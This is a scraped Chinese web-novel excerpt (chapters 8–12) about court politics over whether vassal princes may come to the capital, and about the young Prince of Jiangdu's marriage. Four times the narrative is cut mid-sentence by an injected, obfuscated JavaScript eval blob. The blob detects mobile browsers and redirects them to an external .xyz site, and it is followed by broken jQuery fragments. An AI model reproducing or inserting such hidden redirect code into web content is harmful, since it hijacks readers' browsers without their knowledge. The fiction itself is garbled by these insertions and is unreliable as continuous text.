是否允诸侯王进京岁贡,旨意是要提前一段时日派天使宣至各诸侯国的,否则一些藩国距离湛京远的诸侯王来不及在规定的时间内入京,便难免会被谏台弹劾对皇帝“不逊不恭”。 “那也没有多久了,再等等就是了。”百里漾道。 其实百里漾的心情挺复杂矛盾的,他一面盼着能够回京一趟,一面又觉得还是不召他回京为好。他能够理解皇帝阿爹的做法,毕竟太子长兄的情况摆在那里,他的那些兄弟大多虎视眈眈、暗地里伺机而动,不会安分,不让他们进京是对的。他们不得进京,自然也不会让他进京。皇帝阿爹到底不是他一个人的父亲,即使偏心也不可能做到独独予他一人进京的地步。道理其实百里漾都明白,他只是想念在湛京的父母兄姊了。 此时湛京,大衍的帝宫内,椒房殿中。 皇后崔氏正由着身边的掌宫令伺候着服用汤药。恰此时,栎阳长公主百里澄入内,上前很自然地接过了掌宫令手中的汤药,亲尝汤药后,侍奉母亲用药,而后又问掌宫令皇后近来的身体状况如何。 掌宫令日夜服侍皇后,皇后的身体状况她最了解。长公主有问,她无有不答,“换了新药后,皇后殿下夜咳减缓了许多。” “方院正这回琢磨出的新药方比之前高明许多,效果亦是显著。”皇后亦道。 皇后患有咳疾,是许多年前中箭伤了肺腑后留下的后遗症,难以治愈,只能一直服用汤药缓解症状。太医院方院正一直在为治疗皇后的咳疾而绞尽脑汁,方子换了不少。 “是多添了两味药,巧妙了不少。”双亲加上长兄的身体都不算好,百里澄这些年侍疾下来,不敢说对医术精通,略知一二却是有的。这副汤药她尝过,对里面添改的药材也能分辨出一二。 用过了汤药,掌宫令收拾了带着人退下,将地方留给这对天底下最尊贵的母女说话。 “你也顾着些自己的身体,有些事可以让底下人去做,别让自己太累了。”女儿孝顺,崔皇后心中宽慰,可在看到了长女眼眸下连妆容都难以完全遮掩的青色后,不免心疼道。 长子体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736830|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弱,幼子就封远离京都,她又是这般状况,群敌环伺,许多事情都是长女出面撑着的,劳心劳力,做母亲的看在眼里自然心疼。 “儿臣知道的,请母后放心。”百里澄乖顺应下了。 崔皇后没有多说,只是细细观察了女儿的气色,心中微叹,长女从来都是报喜不报忧,从不说自己哪里不好。她想着稍后再召长女宫中的掌宫了解情况,再嘱咐其照料长公主日常起居要更加用心。 掌宫令奉上了热茶后又退下。 母女俩坐着聊天,说些家长里短的事情。只是以她们的身份,说着说着注定还是要牵扯到前朝之事。 “再过几日就是四月了,四月来了,六月也不远了。”崔皇后忽生了感慨,向外看去的目光变得悠远,仿佛穿越了千山万水的阻隔看到了遥远的地方,那里有她牵挂的小儿子。 “至六月初六,五郎便满十七了。”百里澄如何不知母后牵挂远在江都的幼弟百里漾。当初幼弟十二岁就封,远赴藩国,至今未回来过。母后将近五年不得见幼弟一面,心中不知如何思念。 “是啊,十七了,快成一个大人了。”崔皇后颇有些伤感。儿子长大了,可惜她没能见证幼子这几年的成长,这注定要成为她的遗憾之一。 “五郎年岁日长,这般年纪合该娶妻了。父皇那可有说些什么?”百里澄问道。 崔皇后:“陛下早有了几个人选,只是还在犹豫。” 皇室子女十五岁便可成婚了,皇帝目前已成婚的子嗣通常在十六岁时举行大婚,在此之前便要物色好王妃或者驸马的人选。 百里漾是皇帝唯二的嫡子,他的婚事皇帝自当要慎重。且选王妃不止看王妃本人的品貌,还要看王妃的母族如何。真要挑选起来,方方面面都要考虑,一时半会是定不下来的。 毕竟是给嫡幼子选王妃,皇帝敬爱妻子,不会绕开崔皇后这个孩子生母。他属意的江都王妃的人选是哪几位也是知会过崔皇后的,若崔皇后不满,他也好做更改。只是近两年朝局有些动荡,皇帝旧疾偶有复发,此事便耽搁了下来。 但也要不了多久了,毕竟百里漾都快十七岁了,确实该成婚了。 对于幼子的婚事,这对天底下最尊贵的夫妻心中是有共识,崔皇后并不担心幼子娶不到好王妃。只是她看着眼前瞧着哪哪都无不令人满意的长女,想起她的婚事,也是愁人。 百里澄生于高帝泰始五年,是皇帝的第三个孩子,亦是长女,现年二十,然而她却并未成婚。这在当今“男子十八、女子十六以上倍算”的不婚算赋背景下,百里澄也算得上是皇室未婚大龄女青年了。 百里澄未出嫁有多方面的原因,其中之一也有她本人不愿成婚的缘故。但女儿的终身大事一直没个着落,且更是一副闭口不谈的模样,崔皇后也颇为头疼。 9. 第 9 章 “今年岁贡,不知父皇会否允五郎进京?”百里澄道,“若是进京,正好可将婚事定下。” 崔皇后不语。依照她的想法自然是愿意幼子回京的,最好能在湛京行大婚之礼。可皇帝不让分封出去的藩王回京是经过慎重考量的,她也不愿意那些庶子回来。 “若只准五郎回京,其余的必要闹了。” 这是必然绕不过的问题。那些庶子皆狼子野心,个个都觊觎着东宫之位。他们眼下是安分,可不会一直安分下去。 “年节过后,定安那边一直有书信递到宣室殿。你父皇看了,虽没有说什么,心里未尝没有想法。”崔皇后道。 皇帝看重嫡子固然不假,可这并不代表他不顾惜其他的儿子,他终究也是别人的丈夫和父亲,更是这个国家的君主。 百里澄皱眉,目露嫌恶,想也知道百里洪会在书信里说些什么。这厮向来狡猾,她曾见过百里洪写给父皇的书信,为自己夸功、卖惨的本事一流,说些“父子之隔虽遥遥,然儿日夜惦念父亲,纵山高路远尤不能阻”的话。久而久之,父皇便心软了。 “从月初开始,朝中已有声音请父皇准许诸侯王进京了。” 这些大臣背后无非是那几位已经就藩的诸侯王。皇帝还没有表态,却也没有像往年一般很快拒绝,说明他也在犹豫。那些大臣们见事情并非没有机会,更是卯足了劲上奏,时不时还要讲一些父子情深的话来激皇帝。 “此次岁贡,他们回来与否,全凭父皇心意。”百里澄看得开,无论皇帝最终做出什么样的决定,她都不会置喙,又对崔皇后道,“母后您也无需在父皇面前说些什么反对的话。” 此类的话说的多了,在父皇心中便是东宫与她们一直在防范那些庶兄弟,未免落下刻薄寡义的印象。况且向来是堵不如疏,一味的压着他们不让他们来,时日久了于东宫名声亦有碍。就让他们来,也好让父皇看看他的那些庶子一个个的都怀揣什么样的心思。 崔皇后岂不知此理,她不是过多纠结的人。事情已然如此,那就想方设法使它朝着更有利于自己的方向发展。 “你阿兄那边,你去同他商议一下。此事由他出面同你父皇说更佳。” 百里澄颔首,“儿明白。” 母女俩又说了一会儿话,百里澄便起身告辞转道去东宫了。 东宫为太子所居,其殿位于帝宫东北,与后宫隔着两道城墙。只计直线距离,崔皇后的椒房殿距离东宫不算远,可要绕过那两道宫墙,路程便增了三四倍。 百里澄到东宫时,太子正与东宫僚属议事。她一路畅通无阻入内,东宫僚属纷纷起身向长公主行礼,直至她落座太子左下首的席位时,方陆续坐下。 太子轻咳了一声,看向众人,语气略沉重而缓慢,“方才诸位说到哪了?”他们在议的也是岁贡让不让诸侯王进京之事。 “国朝并无禁止诸侯王进京的规矩。之前不进京是因为陛下不许。若陛下许了,我们也没有阻拦的道理。” 以前不准诸侯王进京,是陛下怜惜太子,无意使人动摇太子的地位,故而不准。可太子这几年的状态大家都有目共睹,别说那些个庶出的诸侯王萌生了想法,他们这些追随太子的人心里也忍不住打鼓呢。 太子地位固若金汤是不假,可太子身子骨弱也是不争的事实。尤其是今上瞧着身子骨还算硬朗,只是头疾偶有发作。他们怕就怕太子走在陛下前头,但这是不能摆在明面上说出来的。 “让他们进京没有问题,若是到最后赖着不走怎么办,难不成我们还能使棍子撵人么?”也有人明确表示不希望诸侯王进京的。那些庶皇子个个心怀鬼胎,进京来总恐他们生事,更怕他们不肯走,能不让他们来就不让来。 持此意见的并不算少。本来京中一直都好好的,谁也不想放一帮闹事的进来扰乱一湖平静的水。陛下尚在犹豫,此事也并非不可为,就看要不要做了。 “可若不让他们来,江都王也不能来了。”有人提醒了一句。 众人一滞,顿时为难起来。 是啊,还有江都王啊。他们不愿意让其他诸侯王进京,可他们更想让江都王进京啊。 “此事……”一群人讨论不下了,纷纷拱手看向坐在上位的两位主。 “诸侯王皆是陛下亲子,父子亲情,不可磨灭。本朝岁贡便是诸侯王朝于天子、向天子纳贡,诸王亲来亦无可厚非。”太子开口说道。 此前他与百里澄对视一眼,彼此都明白了对方的想法,也很快达成了共识。 没有表态阻止,也没有说支持,那就是要顺其自然了。 大家都是人精,东宫僚属若无特殊情况基本上就是下一任朝堂的班底。太子和长公主的态度已经明了,至于缘由,他们想一想也能明白,于是皆应“诺”。 今日主要议的就是这事,议完就散了。主要是太子的身子不允许他太过劳神,众人也不敢烦扰太子过久,行礼后便都退下了。 这里是太子书斋,待东宫僚属都离开后,太子与百里澄兄妹俩便换到了内殿说话。有些话,避开了外人,他们兄妹俩才好说。 刚落座,太子压不住喉咙里的痒意,以手作拳抵在唇边咳了好几下,直咳得唇上显出一片殷红之色。百里澄见状连忙递水给他,如今太子连茶都不能饮了。 “无事,春日时有飞絮,不碍事。”太子怕妹妹担心,喝了水勉强压下痒意后说道。 太子的身体弱,向来使人忧心不已。春日飞絮重,太子对此颇为敏感,常咳嗽不止。几年前皇帝便下令宫中不许种植易生飞絮的花木,但此事又岂是人力若能禁止。春日时,太子便免不了要遭一些罪。 太子不欲让妹妹忧心,主动提起方才所议之事,他叹道:“父皇心中是想他们来的,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736831|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是顾念我罢了。我若阻拦,倒显得我这个长兄小肚鸡肠了。” 太子毕竟是做储君培养的,许多事情看得明白,况且他与皇帝是父子,父亲的心思他做儿子的多少还是能够猜到几分的。 “母后亦是这般想的。”百里澄颔首道,“若是必要且父皇心意已定,再上书奏请父皇。” “此事好办,若真到那时,寻一舍人拟文,以我的名义呈上去便是。” “说起来五郎今年便十七了。”太子随后便想到了远在江都的幼弟百里漾,“想想时间过得挺快,眨眼就是五年了。当年他才这么高,如今也到了娶妻的年纪了。” 百里澄悠悠道:“也不知谁家好女堪配?” 太子迟疑,“父皇曾透露过些许口风,似乎看中定国公家的次女。” “颜氏么?”百里澄低喃道,“若能成,这倒是一门好亲事。” “只是有些风声,父皇也未下旨赐婚,或有变动也说不定,”太子的话没有说的太满,转而说道,“五郎亦老大了,此次若来,留他在京成婚再走也不迟。” 太子心中是有成算的。他那些庶弟们想回京不是一日两日了,朝中亦有为他们说话力图促成此事的。东宫这边不加阻拦,父皇又心软了,他们的八成是会回来的。只是,他也不是让他们白白回来的。 百里澄瞬间就明白了太子的打算。如今东宫不阻那些庶王来,那么到时以“成婚”为由留百里漾在京,他们再说反对的话就过不去父皇那关了。 “还不知五郎会喜欢什么样的女子?”太子颇是照顾幼弟的心情喜好,私心里他是希望幼弟能与喜欢的女子相知相许、共度一生的。 之所以说是希望,不过是因为处在他们这样的身份地位,婚姻都不会单纯,其他方面的考量总要优先于本人的喜好意愿的。 “父皇总不会委屈了五郎的。”百里澄见长兄一副感触伤怀的模样,想到东宫两位主子的状况,兄嫂之间的事情她不好说些什么,只能如此说道。 兄妹俩没有再谈此事,又说起了最近朝堂上发生的事情。大衍近几年朝局较为平和,小事不断,但大体上无事,君臣都比较舒心。 说完了政事,百里澄忽然左右顾看了一会儿。太子知道她在找什么,自己亦莞尔说道:“阿荧昨日便闹着去扑蝴蝶,今日一早便央着你阿嫂去了,现下还没回来估计是没玩够,且有的等呢。” 太子至今无子,唯太子妃梁氏所出一女,时年四岁,小名唤作阿荧,生得玉雪可爱。作为如今天家正儿八经的嫡出子嗣,阿荧从出生起就备受宠爱,皇帝在她满月时便册封她为阳陵郡主,太子夫妇俩对这唯一的女儿亦是宠溺非常。 百里澄见不着小侄女略微有点失落。 太子笑道:“她昨日还跟我念叨着想大姑姑了,今日扑蝴蝶怕是玩疯了。你这个大姑姑估计被她暂时忘到脑后了。” 10. 第 10 章 小孩子天性如此,一时一个样。 百里澄今日见不着可爱的小侄女固然有些失望,但她时常来东宫,不怕没有机会见阿荧。在东宫待了半个时辰,百里澄便起身告辞了。 在她离开东宫后不久,太子妃梁氏便来了。她把女儿带回来后重新换了一身宫装才过来,看见桌面上摆着两杯茶,了然方才是百里澄来过了。 太子妃问太子,“长公主离开了?” “方离开不久。”太子与太子妃对视一眼便敛眸低头喝一口水,而后又看向太子妃身后,只是没有看到某个小家伙的身影。 见他如此,太子妃脸上带了些许无奈,解释道:“阿荧去沐浴了。方才追着蝴蝶跑,不小心摔了一跤,人没疼哭,看到裙子破了,倒是心疼得流眼泪了。” 太子听到女儿摔了本来还挺担心,听到后面却是有些哭笑不得了,“不过一件衣裙罢了。” “那衣裙是她大姑姑送她的,她平日里且舍不得穿了。”太子妃面上带着淡淡的笑。今日出门前她劝过女儿换套衣裙,但阿荧说要穿得漂漂亮亮去扑蝴蝶,结果把衣裙跌破了。 太子看着太子妃的笑容,不禁有些失神。 世家女子多姝色,而太子妃出身大族禹州梁氏,为嫡脉长女,自幼所受教养非比寻常,更是秀婉端庄,容色姝丽。当年皇帝为太子选妃,几番挑选后才定下了梁氏。 梁氏貌美,太子不是不知。只是他们向来相处淡淡,平日里只是相敬如宾罢了,多的也没有了。也就只有说起女儿的时候,他们才会更像一对夫妻。 太子的失神很快被一阵汹涌而来的咳嗽打断了,急促且凶狠的咳嗽使得他满面病态的潮红。太子妃连忙上前拍抚后背,并唤宫侍赶紧将汤药奉上来。 汤药是准时备着的,很快被宫侍端到了太子的面前。所有的汤药味道几乎都是苦涩难闻的,可它是治病救命的东西,再苦涩再难闻也要喝下去。太子多年喝药比用膳还要频繁,伸手端过药碗直接饮下那黑乎乎的药汤。 这样的场景一日少说要上演三次。东宫便经年弥漫着一股挥之不去的艰涩药味。 距离岁贡的日子不远了,该不该让诸侯王进京也是时候商量出个结果来了。在那些支持诸侯王来京的大臣们几次三番发力、东宫初始无为最后也发声请求皇帝准许的情况下,皇帝在四月初下诏允诸侯王于岁贡时进京朝觐。诏书下,传诏的天使即日出发,奔赴各诸侯国传诏于各诸侯王。 因为距离远近存在差异,百里漾所在的江都是在四月中受宣的诏令,最远的山阳也在四月底受到了诏令。 “这次可算是能回湛京了。” 送走了传诏的天使,崔栋急匆匆从外面赶来,兴奋说道。他是真的高兴,也为百里漾高兴。百里漾不比他,他这五年里至少还回过几次湛京,百里漾却一次都不能回去。他这样都时不时思念远在湛京的亲人,百里漾只会比他思念更甚。 “也不知阿爹阿娘他们如何了?”百里漾接到诏书后心中的激荡久久没有完全平息。他对回湛京自然也是怀有期待的。 这一世的父母兄姊待他好,他内心是真心把他们当作亲人的。长时间的两地分离,他心中如何不一直念着? “不过,陛下诏允的是所有诸侯王?”崔栋高兴过后,一双浓眉狠狠地皱了起来。 “是。”百里漾点头,他也想到了这个问题,皱眉后又松开,“都是诸侯王,都是父皇的儿子,不可能独我进京的。”皇帝是他阿爹没错,但却不完全是他一人的父亲。这点他是早就明白的。即使阿爹同意只让他一人进京,他的那些兄弟们岂会甘愿? 崔栋拧眉沉思,此事能有这样的结果,湛京中必然是经过了一番博弈的。湛京毕竟离他们还有一段距离,那里的局势如何,他们远在江都收到消息总是要滞后一些的。 “情况如此是定了的,多想无益。”百里漾很看得开,他拍拍崔栋的肩膀,“即便有什么也是回到湛京之后了。快去准备准备,动作快些,我们便能快点启程回去。” 也是,现在想那么多干什么。 崔栋连连点头,“对对对,得快去准备。”他朝百里漾行礼,然后急吼吼地又跑了。 百里漾再次看着他一溜烟跑没的身影,抬起的手还在半空中,他还有话没有说完呢。算了,由着他去吧。毕竟,这确实是一件值得高兴的事情。 百里漾的心情肉眼可见的变得欢愉,他忍不住揣着手手在大殿里乐悠悠地来回走了好几圈,路过台阶下的青铜兽灯,看见里面的灯芯歪了还好心情地拨弄了几下给弄正了。 他高兴了一阵儿,转了几圈,激荡的心绪平复了许多。又马上想到,既然要回湛京,一些事情就得即刻着手安排起来了。毕竟诸侯王亲自进京朝贡与王国相代行其事,里面的差别还是很大的。 定了定神,思索了片刻,心里很快有了章程,百里漾复端坐到桌案之后,叫来侍人,吩咐道:“去请范国相前来议事。” 此番去湛京,一来一回再算上待在湛京里的日子,少说、少说也要月余时间。江都这里还需要安排值得他信赖的可靠之人镇守,总不能他前脚离开江都,后脚后院就失火了。 相似的情景在其余的几个诸侯王国中也在发生。 但在此之前,消息是最先在湛京传开的。京城的地界上,顺便掉块瓦下来砸到的不是公侯勋贵至少也得是七品官。诸侯王将于岁贡时进京朝觐的消息其实传得迅速,皇帝下诏后不出一日,湛京的上层圈子基本上都知道了,引起了不小的震动。 说到底,还是因为目前湛京里的情势颇为微妙。皇帝肉眼可见的一日一日地老了,头疾复发日渐频繁,这几年已明显的可见其老态甚至是病态。太子也一直体弱多病,他的身体状况有时候甚至连皇帝都比不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736832|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,且东宫无子,这又是一大难处。而那些分封出去的皇子皆成了一方诸侯王,掌权有势,享受到了权力的滋味,且随着年纪的增长,许多事情他们该想的不该想的也都会去想了。 坐上那把椅子就等同于坐拥天下、富有四海,眼看着触手可及,谁不想更进一步呢? 这两三年,好些个诸侯王频繁上家书给皇帝,具体内容不得而知,但说他们只是单纯地叙父子之情,实在让人难以相信啊。 “这次怕是有得热闹了。”有人便作此感慨。 这湛京的天终究还是要乱起来了。 这个消息令很多人心思都浮动了起来,心动必有所行动,这令湛京上层少有的躁动起来。可有人动,亦有人不动。最能沉住气的往往是那些距离皇家最近的人家,公府权贵、宰冢之家,往日里该如何就如何,似磐石般嵬然不动,但奈何有人总想找事。 某一日下了朝,皇帝没有宣召前头的几位重臣再开个小会议。大将军崔预拿着笏板利落的转身就往大殿外走,行伍之人行动尤为迅速,他又惦记着今早出门时妻子说的亲手下厨做糕点,怕回去吃不到热乎的。于是脚下跟着了火似的,一路越过好多人走到了前头,压根没有听到后面有人叫他的声音。 “大将军,大将军……” 追的人气喘吁吁,一口气都快要提不上来了。可他很执着,非要追上崔预不可,用自己的身躯拦在崔预面前不让他继续往前走,“您怎么走得这般快?” “原来是太常卿,有何事唤我?”不得已停下来的崔预客气问道,但这只是表面。 崔预看见这个老梆菜就心烦,他这会儿心里惦记着回去吃妻子亲手做的糕点,就更加不耐烦了。不过大家都是体面人,周围又都是朝堂上的同僚,崔预只好挤出一张笑脸迎人,只是配合着他那满脸的髭须,颇有一种“狰狞”感。 这厮平日里就妖妖怪怪的,崔预本来平日里就烦他,加上他之前一直是大力支持诸侯王进京朝觐的大臣之一,这会儿又撞到他跟前来,莫不是又想整什么幺蛾子? 太常卿年过六旬,年轻时就身材单薄,老了缩水之后,说是又干又瘦也不为过,像缩水的豆芽菜。偏偏这厮笑起来还颇猥琐,眯着眼睛怎么看都像是一副不怀好意的模样。 “恭喜大将军了,此次岁贡之后,可谓是双喜临门啊。”太常卿拱手贺喜道。 “什么喜?”崔预盯着太常卿。这老货又在说些什么他听不懂的话?最烦这些说话非要七拐八绕的人了,有话就不能直接了当地说出来么,整那些有的没的干什么。而且他的直觉告诉他,这太常卿十有八九又要开始作妖了。 太常卿一副“我偶然知道了你的秘密,特地悄悄来恭喜你”的模样,他欠身凑近了崔预,刻意低声又乐滋滋道:“老夫听说大将军之子不日前已定下了亲事,令嫒喜事也临近了,只需等待……岁贡。” 11. 第 11 章 “你什么意思?”崔预的目光立即变得危险而有压迫感。扯到他的一双儿女,又说“只需等待岁贡”,这老梆菜究竟想干什么? 在朝堂上混了许多年成为老梆菜的太常卿心理素质不差,无视了那股压迫感,听到崔预的反问当即瞪大眼,似乎意识到自己说错了话,马上给自己找补,“岁贡在即,事务繁多,老夫年纪也大了,说话颠倒混乱了,还请大将军勿要见怪。” 说完他就跑了,生怕崔预动怒来打他。他这老胳膊老腿的可不够崔预这个莽夫一拳给捶的,毕竟崔预在这种事情上可是有前科的。 崔预直接被他气笑了,又想到这老货特地跑到他面前来说这一通话,肯定有问题。把那话仔细琢磨了下,一张脸顿时变得黑沉沉的。 这次没有谁再敢来拦他回家了,脚下如同生风,直奔自己的大将军府了。 “今日谁又惹着你了,拉着一张脸回来?”崔预之妻李氏正将刚出笼热腾腾的糕点摆盘,扭头就看见了丈夫难看的脸色。 起初她不以为意,因为崔预上朝之后这么黑着脸回来也不是一两次了。与朝堂上的那些个能言善辩的朝臣相比,崔预可以说是口舌笨拙,数次被一些人的歪理邪说气到头顶冒烟。她都劝过他很多次了,那些人为达目的什么谬论都说得出来,陛下圣明自有明断,他犯不着为那些人生气。 等了一会儿没有听到崔预说话的声音,李氏意识到似乎有点不对劲,因为按照往常的发展,崔预这会儿该大骂那些气着他的人了。 “发生了何事?”李氏满脸整肃,同时挥手让周围的仆人都退下。 “京中似有传言,说我家欲与江都王结亲,使女为王妃。”崔预简洁说了太常卿的事,而后吐了一道大雷出来。 崔预当上大将军固然有出身的原因,但他的能力是毋庸置疑的,对情势的感知也绝对不弱。他更不傻,太常卿故意贱兮兮地跑到他面前说那些话,很快他就意识到了那话有什么问题。然后他回来时路过酒楼茶摊,听到了人们议论诸侯王回京之事,其中提到了他家与江都王是表亲,即将亲上加亲。 “背后之人居心如此险恶。”李氏很快想清楚了关节,恨恨骂了一句。 她家只有一子一女,儿子的婚事是半月前定下的,女儿的婚事不急还在相看之中。是谁心思如此恶毒,竟造谣她家女儿将为江都王妃! 涉及到未出阁的女儿,李氏平素的温婉大方都要维持不住了。陛下自年前就在为江都王物色王妃的人选,她家并不在考虑之列。此时传出这种流言,陛下若是知晓心中会如何想? “这谣言怕是在这几日传出来的,背后之人不容小觑。”崔预的大将军也不是白当的,短时间内就谣言散的满京城都是还令他们后知后觉,能做到这地步的在湛京可没有几家。 “明日我便入宫拜见皇后殿下。”李氏当机立断道。幕后之人心怀不轨,这事必然会传到了陛下的耳朵中,该如何应对……此事还须让皇后知晓并与商议。 背后之人使的这就是阴招,于他们家而言要说会带来什么直接的大伤害也没有,但实实在在是恶心到他们了。此事若处理不好,短期会影响女儿婚事,想的再长远些,影响的便是陛下对他们家的观感,倘若再心生芥蒂便是大大的不妙了。 毕竟,陛下这些年确实是有些变了。 即便是崔预这个曾经同他数次出生入死的兄弟这时候也没有把握皇帝不会多想。帝王多疑,这些年在皇帝身上表现的越发明显了。 崔预嗤笑道:“人还没到,一个个的都迫不及待地为自己的主子冲锋陷阵表忠心了。” 今年岁贡诸侯王进京一事敲定之后,崔预就预感到了未来的不平静,只是没想到这么快就已经开始了。 大将军府的动作还是很快的,崔皇后第二日就从嫂子李氏口中知道了这件事,可她俨然比崔预夫妻联想到的更多。还是因为信息差的问题。“他们是冲着五郎的婚事来的。” 崔预夫妻只知道皇帝正在酌定江都王妃的人选,可能的人选大致就是那些,但这也只是能知道一个大致的范围而已。 可崔皇后身为皇帝发妻,还是百里漾的生母,她知道的就更为准确些。陛下虽然没有明说,但这几日已透露出来,他意属定国公家的嫡女。如今迟迟没有下旨赐婚,无非是在等,等定国公府的态度,以及五郎回湛京。 此事没多少人知道,但不代表真的没有其他人知道。 现在却传出这流言,幕后之人显然是不愿意这门亲事结成。 “不必过多在意,该如何便如何,即便是陛下问起,照实说便是。”崔皇后揉捏着自己的眉心,很快给出了应对之策。 李氏是聪明人,很快就领会了其中的用意。 本来就是谣言,他们若是因此真去做什么,在外人眼中难免会有欲盖弥彰之嫌,身正不怕影子斜,什么都不做,这谣言就终究只会是谣言。 “这事连累若儿了。”崔皇后歉疚道。 崔若便是崔预夫妻的独女,亦是崔皇后的亲外甥女。这正是因为这层关系在,那些人就拿她与百里漾出来编排。 表哥表妹么,再加上百里漾就封之前也算是与崔若一块长大的。青马竹马的情谊再加上有这么一层亲戚关系在,真是疼爱女儿的人家想到这一层也要忍不住打退堂鼓了。 “是背后之人用心实在险恶。”李氏忙道。 自家人知道自家事。崔氏若是有心让家中再出一位王妃,也不用等到现在了。崔预已为国舅之尊,官职上更是位列大将军之位,崔氏亦有族人出仕并居高位,满门显赫莫不过于此,但再往前便不合适了。况且两个小年轻本身也无意使两人的表兄妹关系更进一步。 事情不难解决,只消不被它乱了阵脚即可。背后策划之人也不觉得制造这么一个谣言可以达到他们的目的。但万一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736833|157352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?在湛京这个天子脚下,什么都有可能发生。再说了,只是传一个谣言而已,费不了什么大力气,达不到目的也在意料之中,可若是产生意外收获那就是血赚了。 严肃的商讨对策结束,姑嫂之间的气氛便轻松多了。不过人到中年,尤其是女子,有孩子的聊的最多的就是孩子,身份地位再高也不能免俗。而且孩子也大了,就不可避免的要说到他们的婚事。 崔皇后:“趁着这次回来,让他们把婚事都办了。” 她能这么说,说明此事是可行的。 李氏大喜,保养得宜的脸上露出喜色。说来也真是令人挺忧伤的,好多与她同龄的夫人早就抱上孙子孙女了,聚在一块儿有时聊的话题也是这个,她根本插不进去话,毫无融入感。她这儿子眼下都要十九了,儿媳妇这才见影,这要抱上孙子孙女,且还要再等呢。 不过,饭要一口一口吃,步子一下子也不能跨的太大。 她有耐心。 李氏憧憬了一下未来含饴弄孙的美好生活,却听崔皇后温柔问起,“说起来,阿栋还不知道他要娶妻了吧?” “忘记与他去信了。”李氏一滞,有点尴尬道。 难怪她这阵子老觉得有什么事情忘记了,可是偏偏就是想不起来了,原来是这件事情啊——他们给崔栋订了亲,但是好像忘记告诉崔栋这件事情了。 看到嫂子李氏如此反应,崔皇后就知道果不出她所料。她有些许无奈,向来精明的嫂子在这事情上却偶尔会犯迷糊。 李氏:“现在去信也没有必要了。再有些时日,他们也回该到湛京了。” 江都距离湛京不算特别远,若是快马,来回约莫七八日。可此次进京是为了岁贡一事,人马、辎重不会少,速度无疑会被拖慢,把诏书送至江都的时间算上,百里漾他们最早抵达湛京也要在四月下旬,要足足大半月的时间。 想着即将归家的远方游子,两个母亲的心同时都被千里之外的江都牵挂着。李氏目光朝外,望向了那片长空,呢喃道:“也不知他们是否出发了?” 江都那边,百里漾他们是在约莫四月中旬时出发的,因为此前安排江都的事务花费了不少时间。 进京的队伍甚是浩荡,朝贡天子的贡品装了十多口大箱子,周围派有重兵把守,再加上负责护卫江都王的甲士,林林总总,一行队伍的人数达到了千人之数。 如此森严浩荡的队伍路过,围观的百姓只在远处观望着。有些人的目光从贡品箱转移到了队伍中间一辆宽大气派的马车上。他们都知道,他们的大王江都王此刻就坐在那架马车里面。 江都的百姓平日里很少见到这么大的阵仗,一年到头也就是一两回,也就是诸侯王祭祀的时候。主要是因为百里漾不是个喜欢招摇的性子,不比他那些同样为诸侯王的兄弟们动不动就要出行、狩猎什么的,每次出行都要摆足了排场,少说都要一二百人随行。 12. 第 12 章 这里的百姓的生活也相对松弛些。至少他们对着江都王的队伍虽然远远地看着,但是一路上的“指指点点”可没有少过,多数也是在议论江都王的。 “我们的大王好像很年轻啊,年纪都不比我家小儿子大。” “大王十七岁都不到,据说相貌出众,可惜隔着马车看不到。” “这般年纪也该娶妻了,也不知道未来的王妃会是哪家贵女?” “听说大王这次去湛京除了岁贡,还要成亲,带回来一位王妃。” …… 八卦永远是人们茶余饭后的重点,一般的平民百姓接触不到上层的权贵,但并不妨碍他们议论那些勋贵士族们的生活。哪怕只是知道一点不知真假的风声,到最后也能将事情说个七七八八,虽然最后往往会偏离事实十万八千里。 就这么一条长街走过去的时间里,骑在马上的崔栋从他们的口中连百里漾会在什么时候大婚都知道了。要不是因为他是江都国的都尉,得在外面维持着威严,他现在就要笑喷了。好不容易等队伍出了城,他才实在忍不住,策马靠近了百里漾的马车,敲了车窗。 百里漾一扭头就看见了崔栋那张呲着八颗大白牙笑得乐不可支的大黑脸。他默了一下,然后问道:“你又乐些什么?” 